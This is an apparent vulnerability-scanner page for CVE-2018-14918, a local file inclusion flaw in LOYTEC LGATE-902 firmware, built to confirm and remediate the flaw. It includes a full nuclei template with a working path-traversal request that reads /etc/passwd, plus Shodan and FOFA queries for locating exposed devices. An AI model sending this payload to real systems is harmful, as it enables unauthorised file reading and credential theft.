LOYTEC LGATE-902 6.3.2 - Local File Inclusion

highseverity

7.5CVSS score

18.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-14918 -u <target>

The full check

id: CVE-2018-14918

info:
  name: LOYTEC LGATE-902 6.3.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/Apr/12
    - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14918
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-14918
    cwe-id: CWE-22
    epss-score: 0.18611
    epss-percentile: 0.97284
    cpe: cpe:2.3:o:loytec:lgate-902_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: loytec
    product: lgate-902_firmware
    shodan-query:
      - http.html:"LGATE-902"
      - http.html:"lgate-902"
    fofa-query: body="lgate-902"
  tags: cve,cve2018,loytec,lfi,seclists,packetstorm,lgate,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from